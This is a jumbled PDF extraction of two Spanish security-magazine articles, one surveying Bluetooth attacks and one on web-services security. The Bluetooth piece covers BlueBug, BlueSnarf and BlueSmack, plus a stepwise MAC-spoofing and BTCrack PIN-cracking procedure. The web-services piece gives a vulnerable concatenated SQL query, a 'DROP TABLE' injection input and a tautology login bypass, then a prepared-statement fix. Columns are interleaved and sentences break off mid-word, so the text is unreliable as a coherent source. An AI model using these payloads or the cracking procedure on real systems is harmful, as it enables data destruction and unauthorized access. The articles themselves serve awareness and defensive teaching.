Frequency Hoping: Patrón de saltos predefinido, Saltos de 1 Mhz sobre 79 frecuencias diferentes entre 2.402 GHz y 2.480 Ghhz, Saltos entre frecuencias más rápidos que en otras tecnologías inalámbricas (1600 Saltos por segundo).

Este punto a su vez incorpora, una medida importante desde el punto de vista de la seguridad, ya que para poder monitorear el tráfico de una comunicación, debemos formar necesariamente parte de la misma, de lo contrario la única alternativa viable es la de adquirir costosos equipos que puedan monitorear tráfico, sin la necesidad de ser parte de la conexión, algo viable solo para unos pocos adinerados.

go, soportan hasta 200 dispositivos pasivos. Los dispositivos esclavos pueden a su vez estar interconectados a diferentes Piconet, formando lo que se denomina una Scatternet, pero esta característica no se aplica al dispositivo Master ya que el mismo solo puede estar en una Piconet.

Seguridad

Los dispositivos con Bluetooth tienen básicamente dos estados o modos posibles: • •

Modo Descubrimiento, Modo No Descubrimiento.

Cabe mencionar que si algún dispositivo se encuentra en modo No Descubrimiento, igualmente puede ser mapeado siempre y cuando el

En la Red • • • • •

www.bluetooth.org, www.trifinite.org, www.nruns.com, http://gospel.endorasoft.es, http://student.vub.ac.be/~sijansse/ 2e%20lic/BT/Tools/Tools.pdf.

Esencialmente, los mecanismos de autentificación y cifrado están deshabilitados.

Modo 2: Aplicación/ Nivel Servicio

Ocurre en la capa L2CAP, nivel de servicios. Primero se establece un canal entre el nivel LM y el de L2CAP, inicializando los parámetros de seguridad. Como característica, el acceso a servicios y dispositivos es controlado por un Gestor de

Radio Layer

Es la capa mas baja, define las características de la transmisión, cada dispositivo esta clasificado en tres clases diferentes: • Clase 1 100 Metros Aproximadamente • Clase 2 10 Metros Aproximadamente • Clase 3 1 Metro Aproximadamente

Baseband Layer

Es la capa física, provee corrección de errores y características de seguridad, a través de la encriptación de datos, también administra los saltos de frecuencia y los datos contenidos en la cabecera del paquete

Link Manager Protocol (LMP)

Es el contenedor de aproximadamente 20 PDU Protocol Data Units, estas unidades son enviadas desde un dispositivo al otro, algunas de las más utilizadas son: • Power Control • Autentificación • Calidad de Servicio (QOS)

Host Controller Interface

Envía comandos a las dos capas inferiores, permitiendo una vía para la utilización, de las bondades de Bluetooth

The Logical Link Control and Adaptation Protocol (L2CAP)

Controla el link entre dos dispositivos, y además es la encargada de proveer los servicios a los mismos

Cable Replacement Protocol (RFCOMM)

Es el protocolo de transporte, envía la señal montada sobre L2CAP

Service Discovery Protocol (SDP)

Busca otros dispositivos Bluetooth disponibles y le provee la capacidad de establecer una conexión con los mismos, se comunica directamente con la capa de L2CAP

Redes

Cuando se conectan más de un dispositivo BT compartiendo un mismo canal de comunicación forman una red denominada Piconet. Dichas redes están compuestas por un dispositivo Master quien impone la frecuencia de saltos para la Piconet, y todos los demás dispositivos son los denominados Slaves (esclavos). Las Piconet solo pueden aceptar hasta 7 dispositivos Slaves conectados al mismo tiempo, sin embar-

Modo 1: Sin seguridad (Modo Default)

Tabla 1. La pila del protocolo Bluetooth está conformada de la siguiente manera:

Bluetooth STACK

La pila del protocolo Bluetooth está conformada de la siguiente manera (Tabla 1).

atacante conozca la Mac Address (BD_ADDR). Básicamente los modelos de Seguridad de los dispositivos Bluetooth se clasifican en tres modos primarios:

www.hakin9.org

25

Ataque

Seguridad, por lo cual variando las políticas de seguridad y los niveles de confianza se pueden gestionar los accesos de aplicaciones con diferentes requerimientos de seguridad que operen en paralelo. Otra característica importante de este modo es que no hay ninguna codificación adicional de PIN o claves.

se comuniquen ambos dispositivos sin la necesidad de la intervención de los usuarios para que coloquen nuevamente sus contraseñas. Si alguno de los dos dispositivos pierde la clave, se debe a realizar todo el proceso nuevamente. Todo este proceso es conocido como emparejamiento o Paring.

Modo 3: Autentificación vía PIN/ Seguridad a nivel MAC/ Encriptación

Riesgos y Ataques en la tecnología Bluetooth

Ocurre a nivel de Link y todas las rutinas se corren internamente en el chip BlueTooth por lo que nada se transmite en texto plano. A diferencia del Modo 2, los procedimientos de seguridad se inician antes de establecer algún canal y el cifrado se basa en la autentificación PIN y seguridad MAC. Básicamente, comparte una clave de enlace (clave de link) secreta entre dos dispositivos. Para generar esta clave, se usa un procedimiento de paring cuando los dos dispositivos se comunican por primera vez:

Proceso de Paring

Para comprender el proceso de Paring o Emparejamiento, debemos aclarar que por defecto, la comunicación Bluetooth no se valida, de manera tal que cualquier dispositivo puede o podría hablar con cualquier otro. Un dispositivo Bluetooth se autentifica con otro si se requiere utilizar un determinado servicio (por ejemplo para el servicio de marcación por modem). Como ya mencionamos, la forma de autentificarse es mediante códigos PIN (cadena ASCII de hasta 16 caracteres de longitud). Tanto el usuario del dispositivo cliente como así también el proveedor del servicio, debe introducir el código PIN, obviamente, en ambos dispositivos el código ingresado debe ser exactamente el mismo. Al finalizar este proceso correctamente, ambos dispositivos generan una clave de enlace la cual se puede almacenar en el propio dispositivo o en un dispositivo de almacenamiento externo. Dicha clave será utilizada la siguiente vez que

26

Es muy común encontrarse en los archivos almacenados de las PDA y en los móviles, los usuarios y las contraseñas de los PC y hasta de los servidores que para no dejarlos anotados en un papel lo anotan en sus dispositivos móviles. Los lugares de mayor riesgo o donde es fácilmente posible obtener información como la mencionada anteriormente, son lugares públicos como por ejemplo: • • • • • • •

En el cine, En una plaza con mucha gente, En una biblioteca, En un centro comercial o en un bar, En un campo de fútbol, En alguna tienda de telefonía, En el tren – autobús.

carácter corporativo, pero puede brindar al atacante a obtener datos que permitan desarrollar luego una estrategia de ataque más efectiva. Desde principios de 2003, comenzaron a hacerse publicas, algunas debilidades y vulnerabilidades que afectaban directamente a esta tecnología. La primera de ellas, fue descubierta por la gente de Atstake, y fue denominada War Nibling, y permite descubrir todos los dispositivos que estén en el alcance del atacante estando estos o no en modo descubrimiento. Después y de la mano de Adam Laurie y la gente del grupo Trifinite, fueron descubiertas las siguientes técnicas:

Algunas Herramientas Btbrowser (http://www.benhui.net/ bluetooth/btbrowser.html): • • • •

Permite descubrir dispositivos BT, Permite conocer las especificaciones técnicas de los mismos, Permite ver los servicios disponibles por este, Aplicación en Java soportada por varios teléfonos móviles.

Según estadísticas los usuarios sueles utilizar los dispositivos como pda o teléfonos móviles para lo siguiente:

Bthdisc (www.trifinite.org):



Bt_Audit: Scanner con dos funcionalidades (http://www.betaversion.net/btdsd/):



• • • • •

85% Utilizan estos dispositivos para almacenar el día a día del negocio, 85% Los utiliza para almacenar contactos y direcciones relacionadas con el negocio, 33% Los utiliza para almacenar PINs y Passwords, 32% Para recibir y enviar correo, 25% Para llevar el detalle de sus cuentas bancarias, 25% Para almacenar información corporativa, Fuente: Pointsec Mobile Technologies.

Como podemos ver la información comprometida, puede o no ser de

www.hakin9.org

• •

• •

Permite descubrir dispositivos BT, Informa Clase y Dirección Mac Address.

Scanner para L2CAP Scanner RFCOMM

Plataforma Operativa: Linux Sniffing Local: •

Hcidump

Piconet Sniffing: •

Hardware o firmware especial.

Air Sniffing: •

Frontline (http://www.fte.com/),

Bluetooth – La Amenaza Azul

BluePrinting

Es una técnica de Fingerprinting pero de dispositivos Bluetooth, permite saber • •

Fabricante del dispositivo, Modelo del dispositivo (solo algunas veces).

Se basa en la dirección Mac Address del dispositivo, está compuesta por 6 bytes, los primeros 3 indican el fabricante y los restantes el modelo Las herramientas para estos ataques buscan dispositivos que se encuentren en Modo Descubrimiento, toma las direcciones Mac, y la

compara contra la base de firmas que poseen determinando así el Fabricante del dispositivo y su modelo. Para el caso de los dispositivos que no se encuentren en Modo Descubrimiento, existen herramientas que se basan en ataques de Brute Force.

BlueBug

Es una vulnerabilidad que fue encontrada en varios teléfonos móviles con interfaz Bluetooth Permite enviar comandos AT al móvil, a través de un canal encubierto de la tecnología Bluetooth, permitiendo al atacante:

Algunas Herramientas

Herramienta de auditoría para teléfonos móviles – BLOOVER: •

Actualmente por la versión 2, es un aplicación realizada en java, que permite realizar, el ataque de Bluesnarf, directamente desde un móvil, con tecnología Bluetooth y soporte para aplicaciones Java J2ME MIDP 2.0 VM y JSR-Bluetooth API (Download: http://trifinite.org/trifinite_downloads.html).

Funcionalidades: • • • • • •

Permite modificar y leer entradas en la agenda telefónica, Permite leer los mensajes de texto, almacenados en el teléfono, Permite introducir en el móvil comprometido, un numero telefónico para el redireccionamiento de llamadas, Ejecutar el Hello Moto Attack, Ejecutar Bluejacking, Enviar Objetos malformados a través de OBEX.

BTCrack (www.enruns.com): • • •

Herramienta recientemente presentada el Hack.Lu 2006, Permite romper Claves y Llaves de enlace (PIN y Link Key), Previamente requiere como entrada, los datos sniffeados durante el proceso de paring.

Algunas Debilidades Generales: • •

El usuario suele relacionar el concepto de PIN con una cadena de caracteres corta (4), la tecnología lo permite Los ataques de ingeniería social, pueden preceder a los ataques antes descritos y facilitar aun mas la tarea del atacante

Ej: Nombre del Dispositivo Para continuar ingrese 1234: •

• • • • •

El algoritmo utilizado para brindar seguridad es Simétrico (misma clave para encriptar que para desencriptar) y no existe un canal seguro de transmisión, el problema se potenciaría en implementaciones grandes de BT. NO existe autentificación de Usuarios, NO existen limites para el reintento de ingreso de claves, SIN paring previo algunos servicios e información son visibles, Covert Channels, Errores de Programación e Implementación.

www.hakin9.org

• •

• •

Extraer del móvil la agenda telefónica y calendario entre otros, Modificar o Borrar entradas en el calendario, o en los contactos telefónicos, Enviar un mensaje SMS desde el móvil comprometido, Provocar que el móvil comprometido, realice llamadas telefónicas a los números que el atacante desee.

BlueSnarfing y Long Distance Snarf

Este es el ataque que se aprovecha del bluebug, y básicamente permite, extraer información de un móvil, en vez de colocarla, varios equipos son vulnerables a este ataque (Nokia 6310,6310i entre otros). En agosto de 2004, lograron llegar más allá de los limites de alcance de un dispositivo clase uno, logrando extraer y modificar la agenda telefónica y el calendario de un teléfono móvil a una distancia de 1,78 Km. Utilizando una Portatil bajo Linux (Con todas las librerías de Bluetooth), con un adaptador USB Bluetooth modificado (Clase 1) y una antena direccional cuyo objetivo era un Móvil Nokia 6310 Dispositivo (Clase 2).

BlueSmack

Es un ataque de Denegación de servicio que aprovecha las debilidades en la implementación de Bluetooth, mas puntualmente en L2CAP. Permite mal formar un requerimiento causando que el dispositivo se cuelgue o se reinicie sin necesidad de establecer un conexión previa. Es similar al conocido ping de la muerte, l2ping es una funcionalidad que está presente en las librerías Bluez, de Linux, y permiten a un atacante especificar el tamaño del paquete a enviar.

BlueBump

Su fin es robar la link-key del teléfono de la víctima, para establecer posteriores conexiones, sin que este lo note y aparentando ser un dispositivo confiable. Este tipo de ataque incorpora técnicas de Ingeniería so-

27

Ataque

cial pero fundamentalmente se basa en el beneficio de poder regenerar la link-key mientras la conexión esta establecida (Ver mas en Cracking BT PIN y la reciente herramienta BTCrack).

Hello Moto

Es una debilidad en exclusiva de algunos dispositivos Motorola. La debilidad radica en una mala implementación de la relación de confianza que se establece en el proceso de paring. Permite establecer la relación de confianza, entre el dispositivo del atacante y la víctima, si este primero intenta establecer una conexión al OPP (Obex Push Profile) y luego la cancela, el dispositivo del atacante será agregado a la lista de dispositivos confiable de la víctima. Todo esto sucede sin que medie ninguna interacción por parte de la víctima.

sobre Bluetooth, poseen importantes debilidades. En el caso de Bluetooth, este contiene varios elementos, como el manejo de llaves de encriptación y autentificación basada en un PIN, los cuales son utilizados en el proceso de Paring y la utilización de estos reside en la decisión del usuario. El algoritmo que brinda seguridad a estas tecnologías es Safer+, este es un algoritmo simétrico de encriptación por bloque, que permite la utilización de llaves de 128, 192 y 256,

BlueSpam

Es un ataque basado en la búsqueda de dispositivos en Modo Descubrimiento, a los cuales luego les enviará mensajes arbitrarios creados por el atacante. Este tipo de ataques no requiere la interacción por parte de la víctima para recibir el spam.

Figura 1. Página oficial de Nruns

BlueJacking

Es el ataque quizás más inofensivo pero desde el cual se han sentado muchas bases para nuevos ataques. Consiste en conectarse a un dispositivo Bluetooth y colocarle imágenes, mensajes o contactos al dueño del dispositivo. También es utilizado para realizar ingeniería social y utilizarla en complemento con otro tipo de ataques que requieran que los equipos estén aparejados.

Cracking BT PIN y la reciente herramienta BTCrack (www.enruns.com)

Tal cual sucedió, con WEP en 802.11, la implementación de los algoritmos de encriptación y seguridad

28

Figura 2. Página oficial de Bluetooth

www.hakin9.org

para el caso el algoritmo utilizado es Safer+ de 128bits. Haciendo un poco de historia acerca de las investigaciones llevadas a cabo sobre este aspecto, en el 2003 Ollie Whitehouse comenzó a hablar de algunas debilidades en el proceso de paring que podrían permitir romper el PIN, mas adelante algunos investigadores, hicieron mejoras sobre esta técnica y encontraron la manera de forzar a un dispositivo a que reinicie el proceso de paring, por ultimo en el

Bluetooth – La Amenaza Azul

2006 Thierry Zoller llevo a cabo la implementación de una herramienta para Win32 que llevaría todo lo anterior a la practica (BTCrack) y además realizo otra propuesta diferente a la de Shaked y Wool, para forzar el proceso de re-emparejamiento. Para poner esto en palabras simples, alguna de las cosas que podrían suceder seria la siguiente:

Escenario

Dos dispositivos, Un Master y un Slave, realizar exitosamente el proceso de emparejamiento, autenticando esto mediante un PIN.

Primer Paso

El atacante debería en primer lugar conocer las direcciones MAC de ambos dispositivos, esto no seria un problema para el atacante ya que como se menciono más arriba existen técnicas y herramientas disponibles.

Segundo Paso

El atacante debería modificar la dirección MAC de su dispositivo por la del dispositivo Slave.

Tercer Paso

El atacante ahora debería intentar iniciar con el Master el proceso de paring, al mismo tiempo este debería estar monitoreando y capturando la información transmitida.

Figura 3. Página oficial de Trifinite

Cuarto Paso

Tomar el output de la información capturada, durante el proceso de emparejamiento y dárselo como input al BTCrack, debido a las debilidades arriba mencionadas, la herramienta se encargara rápidamente de informarle al atacante cual es el PIN. En base a los estudio realizados por Thierry Zoller en un equipo DualCore P4 de 2Ghz, el tiempo que le llevaría a la herramienta romper el PIN es: •

PIN de 4 Digitos: 0.035 Segundos,

Sobre el Autor

Ezequiel Martín Sallis CISSP/CEH/CCNA/NSP. Desarrollo su carrera en INFOSEC, con base en el aprendizaje y actualización continua, ha trabajado durante largo tiempo en las consultoras mas prestigiosas, prestando servicios para empresas del ámbito Gubernamental, Publico y Privado tanto a nivel nacional como internacional. Actualmente es Emprendedor y Director de ROOT-SECURE SRL, una Consultora especializada en Seguridad de la Información con bases en la Argentina, y con amplia experiencia en este campo. Ha trabajado fuertemente, en tareas relacionadas con INFOSEC, entre las que se pueden mencionar, Penetration Test, Vulnerability Assesment, Hardening de Plataformas, Asesoramiento con la Norma ISO 17799:2005, Management de Proyectos y otros. Es instructor de gran cantidad de capacitaciones tanto a nivel nacional, como a nivel internacional, entre las que se pueden mencionar CISSP, Ethical Hacking y otras. Ha participado como Orador en gran cantidad de seminarios y eventos internacionales.

www.hakin9.org

• • •

PIN de 5 Digitos: 0.108 Segundos, PIN de 6 Digitos 4.321 Segundos, PIN de 9 Digitos 1318 Segundos.

Es por esto que entre otras recomendaciones el SIG recomienda realizar el proceso de emparejamiento en un lugar seguro.

Conclusión

Las nuevas tecnologías, traen asociadas cientos de riesgos y amenazas para las que muchas veces las empresas no están preparadas, y lo que es peor, a veces ni siquiera están informadas sobre estos peligros. Muchas corporaciones, dan a sus directivos estos dispositivos, sin tener en cuenta los riesgos asociados a los que se expone la información contenida en ellos, es por esto que hay que crear la conciencia necesaria y tomar medidas que permitan mitigar los riesgos asociados. La creatividad, es una de las herramientas de ataque, contra la que muy pocos desarrollan contramedidas l

29

Web Services Security Defensa José Carlos Cortizo Pérez, Diego Expósito, Diego Peces

Grado de dificultad

El gran crecimiento del comercio electrónico y del B2B (Business to Business) ha originado la necesidad de nuevas tecnologías que permitan el intercambio de información y la reutilización de servicios en distintos sistemas.

T

ecnologías como RPC, RMI, CORBA, etc. fueron surgiendo para cubrir estas carencias pero presentaban tantas limitaciones como ventajas. Los servicios Web proporcionan un modelo distinto en el desarrollo de aplicaciones distribuidas ya que ofrecen la capacidad de acceder a información y funciones heterogéneas de forma estándar a través de una red, como pueda ser Internet. El surgimiento de los servicios web ha sido posible en gran medida gracias al surgimiento y aceptación del XML como metaformato para el intercambio de información. Gracias a XML se han podido desarrollar una serie de protocolos y estándares que forman la base de los servicios web: SOAP/XML-RPC para el intercambio de datos entre aplicaciones, WSDL como lenguaje de descripción de servicios y UDDI como registro basado en XML para la descripción, descubrimiento e integración. Todos estos protocolos se aglutinan dentro de SOA (Arquitectura Orientada a Servicios), que permite que varias aplicaciones puedan intercambiar información y funcionalidad a pesar de estar en ubicaciones diferentes, estar en máquinas de diversas arquitecturas y programadas en diferentes lenguajes de programación.

30

Los servicios Web proporcionan ciertas ventajas para el diseño y posterior desarrollo de aplicaciones: •

Ofrecen transparencia de uso, ya que se basan en protocolos muy aceptados (XML) y dan la posibilidad de intercomunicar sistemas basados en arquitecturas y programados en lenguajes completamente heterogéneos. Esto es: independencia de la máquina y del lenguaje de programación. Al tener como base el protocolo HTTP, la comunicación se da sin ningún tipo de pro-



En este artículo aprenderás... • •

Cómo protegerse de los problemas básicos de seguridad relacionados con los servicios web, Lo que deberías tener en cuenta a la hora de desarrollar tu propio servicio.

Lo que deberías saber... •

www.hakin9.org

Ciertos conocimientos de servicios web (al menos saber lo que es un servicio web y lo que es la arquitectura SOA).

Web Services Security



blemas ya que los firewall suelen tener el puerto http habilitado. Con otras tecnologías anteriores (rpc, corba) había que tener cuidado con las configuraciones de los firewalls. Ofrecen la potencia de poder disponer de funcionalidades e información que ofrecen los distintos servicios Web que estén físicamente ubicados en diferentes lugares geográficos. Con esto se obtiene como resultado un sistema global que aúna las capacidades de todos lo servicios Web que invoca.

Todas estas ventajas se pueden resumir en pocas palabras: Los servicios Web nos ofrecen transparencia, sencillez y compatibilidad y dotan al nuevo sistema de funcionalidades correctas de forma rápida y simple. Para tratar de comprender de forma definitiva todo lo comentado anteriormente vamos a ver un ejemplo típico de uso de servicios Web en el ámbito comercial o de negocio (Figura 1). Imaginemos una típica agencia de viaje. Entre sus ofertas se ofrecen paquetes de vacaciones personalizables. Dentro de cada paquete de viaje se distingue un destino, el o los hoteles en los que hospedarse, los vuelos de avión y demás particularidades del viaje. Al ser personalizables, en cada uno de estos paquetes se puede elegir ciertos detalles como pueden ser el hotel, los vuelos, el destino, la duración, etc. Manejar toda esta información y gestionar los cientos de combinaciones posibles, así como asegurar al cliente la oficialidad de sus reservas en hoteles y vuelos para las fechas exactas se torna en una tarea demasiado compleja, por no decir imposible, para la agencia de viajes. Para coordinar todos estos eventos la agencia de viajes deberá ponerse en contacto con cada compañía de vuelo para averiguar si es posible y quedan plazas para volar el día elegido al destino de vacaciones. Tendrá que ponerse en contacto con la administración de los hoteles y re-

servar si hubiera plaza para el periodo determinado. Realizar esta tarea manualmente tiene un alto coste en tiempo y en recursos, ya que obliga a la agencia a tener un empleado realizando todas las gestiones manualmente. Además las posibilidades de que alguna reserva sea negativa y sea necesario replanificar todo el viaje son muy grandes, con lo cual el tiempo necesario para organizar todo el viaje y la estancia puede crecer aun más. Está claro que el cliente ni puede, ni quiere, esperar tanto para recibir una contestación afirmativa o negativa sobre la disponibilidad de su viaje. ¿Cómo obtener una solución automatizada para realizar todo este proceso? Las compañías aéreas ofertan desde hace tiempo servicios de consulta y reserva online para su acceso desde operadores turísticos (AMADEUS). Por lo tanto, para consultar la disponibilidad de vuelos bastaría con acceder a los servicios web de las compañías aéreas ofreciéndonos información para los vuelos que nos interesen. Para el tema de los hoteles pasa algo parecido. Así pues, automatizar el proceso global no parece ya una tarea tan complicada ya que bastaría con realizar un programa para satisfacer las restricciones marcadas por el usuario que hiciera uso de los servicios web de consulta y reservas que nos ofertan las distintas compañías implicadas en el proceso. Además el utilizar servicios web en lugar de otras tecnologías nos asegura la correcta interoperabilidad a la hora de acceder a los servicios e información remota de los hoteles y compañías aéreas.

Interoperabilidad y SOA

Hemos dado mucha importancia en el apartado anterior al concepto de Heterogeneidad que se permite entre los sistemas participantes de una transacción gracias a los Servicios Web. SOA (Arquitectura Orientada a Servicios) es la arquitectura que hace eso posible. En este apartado nos introduciremos en esta arquitectura.

www.hakin9.org

La arquitectura SOA se compone de nodos. Los nodos de una red ofecen a otros nodos o usuarios de la red sus recursos en forma de servicios independientes, a los que se accederá de forma estándar. Es decir, la idea radica en crear servicios independientes que cada nodo ofrece al resto de la red, de modo que cualquier nodo con los permisos adecuados podrá usar uno o varios servicios con la finalidad de dar solución a un problema mayor. Después de todo lo visto es fácil ver la arquitectura SOA como un nivel de abstracción superior a la orientación a objetos pues en lugar de objetos que proporcionan un cierto comportamiento, tenemos servicios. Pero ya hemos descubierto como SOA es realmente una arquitectura distribuida gracias a protocolos como SOAP y WSDL. Otra forma de acceder remotamente a funcionalidad remota (anterior a SOA) son los RPC (llamada a procedimientos remotos). Este protocolo posibilita ejecutar servicios o código de un programa en otra máquina de forma remota, siendo para la primera transparente la comunicación entre ambos nodos, ya que las RPC encapsulan y ocultan parte del proceso. Básicamente, en los RPC es el cliente el que inicia el proceso, dicho nodo solicita al servidor que ejecute cierta funcionalidad. Éste, cuando ha terminado su proceso, le envía el resultado de dicho servicio al cliente. Los servicios web surgen como mejora del RPC al estandarizar el protocolo interno de comunicación. De todas formas los servicios web han ido evolucionando desde sus inicios, sufriendo una serie de mejoras y de actualizaciones que se traducen en tres generaciones de servicios web. La primera generación de servicios web se basaba en la comunicación nodo a nodo. Un flujo de acciones podría ser el siguiente: Se lanza una petición de un servicio a un servidor SOAP. Dicho servidor SOAP se encarga de invocar el objeto o el proceso determinado que le

31

Defensa

ofrece dicho servicio. Se realiza el proceso interno necesario (acceso a bases de datos, lectura de ficheros, etc.) para la consecución del servicio. El servidor SOAP detecta el fin del proceso y devuelve la respuesta obtenida al Nodo que realizó la petición (a través de http). Un proceso, como se puede observar, bastante simple. En la segunda generación se da la situación de que el Nodo que realiza la petición no se la realiza directamente al servidor SOAP que mantiene el servicio. Realiza la petición a un tercer servidor SOAP que será el que realice la verdadera petición al servicio oportuno. Este nodo intermedio concentra todas las peticiones de los distintos clientes y concentra en él todas las tareas necesarias de comunicación con el nodo del servicio. En esta generación se encapsulan comportamientos comunes de los clientes en un nuevo nodo que se encarga de distribuir posteriormente las partes no comunes a los distintos nodos de servicio. El problema de la 2a generación surge de los procesos demasiado complejos que se pueden generar al realizar diversas peticiones. En nuestro ejemplo del operador de viajes, para satisfacer los deseos de nuestro cliente deberíamos realizar

multitud de peticiones a distintos servicios web. Sin embargo puede suceder que uno de los servicios Web nos devuelva una respuesta negativa, es decir, que nuestro hotel no ha podido ser reservado por falta de habitaciones libres (por ejemplo). En este caso sería necesario deshacer todas las reservas de vuelos, vehículos de alquiler, etc. La tercera generación de servicios web soluciona esto de modo que se agrupan todas las peticiones en una transacción. Esta transacción será positiva en caso de que logren satisfacer todas las restricciones necesarias (por ejemplo todas las reservas necesarias para un cliente determinado) y será negativa en caso contrario, ya que una transacción solo tiene sentido si se cumple en su totalidad (si no tengo el billete de avión hasta mi destino, el que tenga hoteles libres me da absolutamente lo mismo). Hasta que no se consiga satisfacer todas las peticiones el resto, aunque estén satisfechas, se mantendrán en espera hasta que todas tengan éxito.

¿Es SOA inseguro?

Uno de los puntos fuertes de SOA en cuánto a interoperabilidad es su habilidad de atravesar firewalls, ya que la comunicación se realiza a través del puerto 80 que habitualmente

Agencia Viajes

Hotel 1

Hotel 2

Cliente 1

Cliente 2

Compańías Aéreas

Figura 1. Un ejemplo de uso de los servicios Web en el ámbio comercial

32

www.hakin9.org

no está protegido. Sin embargo este punto fuerte para la interoperabilidad es visto como un punto muy débil en cuánto a seguridad por algunos gurús de la seguridad, ya que permite a SOA saltarse los firewalls (y en gran medida la seguridad). Otro punto oscuro es el tema de la autentificación, autorización y control de acceso a servicios web en función que SOA en sus primeras definiciones del estándar no ofrecía de por si.

Ataques típicos

Ante todo hay que tener en cuenta que, cuando estamos creando servicios web, lo que estamos haciendo es brindar puertas de acceso desde el exterior a nuestros programas (sistema), por lo que hay que tener muy en cuenta quiénes van a poder acceder a cada funcionalidad y el que no existan agujeros de seguridad en el código desarrollado. De todas formas los ataques más típicos son: •

Ataque de denegación de servicio: Un ataque de DOS a un servicio web es idealmente simple. Lo que se trata es de atacar al servidor de aplicaciones o al parseador XML, no a la lógica del programa, lo cuál sería más complicado. Estos ataques tratan de consumir mucho tiempo de CPU, consumir mucha memoria y/o colapsar el acceso a la base de datos. Para el tema del consumo de mucha cpu basta con tener en cuenta que parsear un XML correctamente no es una tarea trivial, y menos cuándo se tienen estructuras muy profundas y referencias a otros documentos que hacen que se produzcan esperas debido a la latencia de la red durante el parseo. En cuánto a consumir mucha memoria hay que tener en cuenta que a pesar que consumir toda la memoria de un sistema en producción sea una tarea prácticamente imposible, la gestión de la memoria (sobre todo en aquellos servicios web implementados en lengua-

Web Services Security



• • •

jes que, como Java, utilizan recolector de basura) puede hacer que el sistema se vuelva sumamente lento. Para colapsar las conexiones a Bases de Datos nos centramos en el hecho que mayoría de las aplicaciones utilizan colas de conexiones de tamaño fijo, por lo que si se generan tantas peticiones a la base de datos como para llenar la cola se puede llevar a la aplicación a su muerte. Para esto haría falta encontrar una petición SOAP que no requiera autorización pero que resulte en una petición fuerte a la base de datos (ejemplo: autenticación inicial de un usuario). Interceptación y manipulación de mensajes: Al ser mensajes en XML resulta bastante fácil descifrar y manipular cualquier mensaje (ataques de reescritura de XML). Peticiones de cliente falsificadas. Respuestas del servidor falsificadas. Intentos de leer/escribir datos en el servidor (sistema de ficheros/ base de datos): Por lo general vienen de la mano de ataques por parámetros y SQL-injection, que permite que se realicen consultas o modificaciones (no previstas) en la base de datos debido al sustituir un parámetro de entrada por ese parámetro y alguna otra instrucción sql que permita obtener el resultado requerido. Valga como ejemplo un típico método de validación de usuario. Este método recibe como parámetro en nombre de usuario y para construir la consulta ejecuta el siguiente código:

$consulta = “SELECT * FROM usuarios WHERE nombre=’” . nombreUsuario;

A este método si le pasamos un nombre de usuario del tipo pepe; DROP TABLE usuarios; lo que hará es buscar primero el usuario pepe y a continuación eliminará la tabla que contiene la información de los usuarios lo cuál impedirá

que nuestro servicio web funcione correctamente. Algo menos dañino que esto puede ser el acceder a la funcionalidad de un servicio web sin ser usuario autorizado, para ello (utilizando el mismo ejemplo) si se pasa como parámetro de nombre de usuario el texto “t’ OR ‘a’==’a’) esto podría derivar en un acceso no autorizado si solo se tiene en cuenta que la consulta sea verdadera (devuelva algo) ya que ‘a’ == ‘a’ se cumple siempre. Algunos de estos ataques típicos (y algunos otros) se deben a las debilidades derivadas de utilizar XML en las peticiones

de por sí autenticar al invocador pero, hoy por hoy, existen algunas alternativas para poder hacerlo:



De todas formas todas estas alternativas para autenticar al invocador están fuera del alcance de este artículo por considerarse un tanto avanzadas. Cada una de ellas tiene el suficiente peso como para desarrollarse en un único artículo.

Documentos XML excesivamente largos/profundos (relacionado con los ataques DOS).







Ataques de Expansión de Entidades: Si la cabecera del documento XML declara entidades recursivas y el fichero las refiere, el sistema puede verse afectado (dependiendo del servidor de aplicaciones podría llegar a ser un ataque Dos). Entidades que refieren al sistema de ficheros: Si se declara una entidad refiriéndose a un archivo local, se puede estar preguntando por la existencia de un fichero e incluso conseguir una copia del mismo en el mensaje de respuesta.

Autenticando al invocador

Poder autenticar al invocador de un servicio web es algo realmente necesario para poder establecer distintas funcionalidades a distintos perfiles de usuario. Además, poder autenticar al invocador nos protege, en cierta manera, contra otro tipo de ataques, ya que para poder realizar muchos de ellos sería necesario autenticarse y, para ello, tener acceso al sistema como usuario, lo cuál no es usual en el caso de un atacante. SOA en sus comienzos no permitía

www.hakin9.org



• •



La nueva especificación de seguridad (WS-Security) para servicios web permite autenticar los invocadores. Validar a nivel de capa de transporte utilizando HTTPS. Utilizar diferentes servidores SOAP para cada nivel de acceso. Hacer que el firewall inspeccione los mensajes SOAP e identifique roles de usuario, niveles de privacidad, etc.

Haciendo seguros tus Servicios Web

Una vez tenemos claros los ataques más comunes, podemos proceder a intentar asegurar nuestros servicios web. En este punto se expone una guía de pasos básicos a verificar cada vez que se desarrolle un servicio web. Algunos de estos puntos pueden obviarse cuándo se utilizan algunos aspectos de seguridad más avanzados, relacionados con los servicios web como WS-Security pero, como bien hemos dicho anteriormente, estos temas están fuera del alcance de este artículo introductorio. •

Asegurarnos de haber establecido la profundidad máxima para el parseador XML, de forma que cuándo tenga que parsear documentos XML ideados para un ataque Dos, el sistema sea capaz de pararse antes de llegar a su muerte. Este punto no solo tiene que ver con los servicios web, si no con cualquier aplicación en la que necesitemos parsear un XML que viene del exterior.

33

Defensa





Detectar aquellas funcionalidades que hacen uso más intensivo de bases de datos. Buscar alternativas al desbordamiento de las colas de conexiones a la base de datos. De hecho, es mejor que un determinado método devuelva un error cuándo ve que no va a poder ejecutar la consulta a una base de datos en un determinado tiempo, en lugar de encolar su petición ya que si se desborda la cola de peticiones a la base de datos, el servicio web puede morir. En todos los sitios dónde alguna funcionalidad realice consultas a base de datos a partir de parámetros introducidos por el usuario, hay que asegurarse que no haya forma de inyectar otras consultas sql. Para esto, lo mejor es utilizar consultas preparadas. Por ejemplo:





$consulta = $sql->prepare(“SELECT * FROM usuarios WHERE nombre = ?”); $consulta->execute($usuario);

De esta forma nos aseguramos que lo que nos mande el usuario sea tomado como el valor del campo en la consulta impidiendo de cualquier forma inyectar cualquier otra consulta. •

34

Seguimiento de las sesiones. A pesar de que se utilicen identificadores de sesión, cualquiera que esté escuchando los mensajes XML intercambiados puede interceptar uno y robar la sesión. Para esto es bueno hacer un seguimiento más exhaustivo del usuario, almacenando la ip de origen para contrastarla con la sesión. Esto es aplicable también al cliente que invoca al servicio web, ya que dentro de los ataques típicos encontrábamos tanto la manipulación de respuestas como las respuestas enviadas desde un falso servidor. Si desde el cliente se contrasta la información del origen de las respuestas del servidor, nos estaremos asegurando de la correcta identidad del servidor.





